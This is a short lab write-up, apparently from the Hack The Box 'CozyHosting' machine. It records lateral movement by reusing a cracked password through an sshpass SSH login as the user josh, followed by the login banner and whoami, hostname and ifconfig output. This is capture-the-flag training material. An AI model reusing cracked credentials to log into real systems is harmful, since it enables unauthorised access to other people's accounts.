CozyHosting_Lateral_Movement

josh

---

Testing password reuse for the josh user with the cracked password; manchesterunited

┌──(kali㉿kali)-[~/archive/htb/labs/cozyhosting]
└─$ sshpass -p manchesterunited ssh josh@cozyhosting.htb
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)
 
 * documentation:  https://help.ubuntu.com
 * management:     https://landscape.canonical.com
 * support:        https://ubuntu.com/advantage
 
  system information as of sat sep  9 10:18:57 PM UTC 2023
 
  system load:           0.06298828125
  usage of /:            54.9% of 5.42GB
  memory usage:          41%
  swap usage:            0%
  processes:             250
  users logged in:       1
  ipv4 address for eth0: 10.10.11.230
  ipv6 address for eth0: dead:beef::250:56ff:feb9:ca0d
 
 
Expanded Security Maintenance for Applications is not enabled.
 
0 updates can be applied immediately.
 
Enable ESM Apps to receive additional future security updates.
see https://ubuntu.com/esm or run: sudo pro status
 
 
The list of available updates is more than a week old.
to check for new updates run: sudo apt update
failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
 
 
last login: Sat Sep  9 19:01:23 2023 from 10.10.14.4
josh@cozyhosting:~$ whoami
josh
josh@cozyhosting:~$ hostname
cozyhosting
josh@cozyhosting:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.230  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 fe80::250:56ff:feb9:ca0d  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb9:ca0d  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:ca:0d  txqueuelen 1000  (Ethernet)
        RX packets 687456  bytes 112332227 (112.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 799788  bytes 453850335 (453.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 3374972  bytes 429921673 (429.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3374972  bytes 429921673 (429.9 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Password reuse confirmed for the josh user Lateral Movement made to the josh user via SSH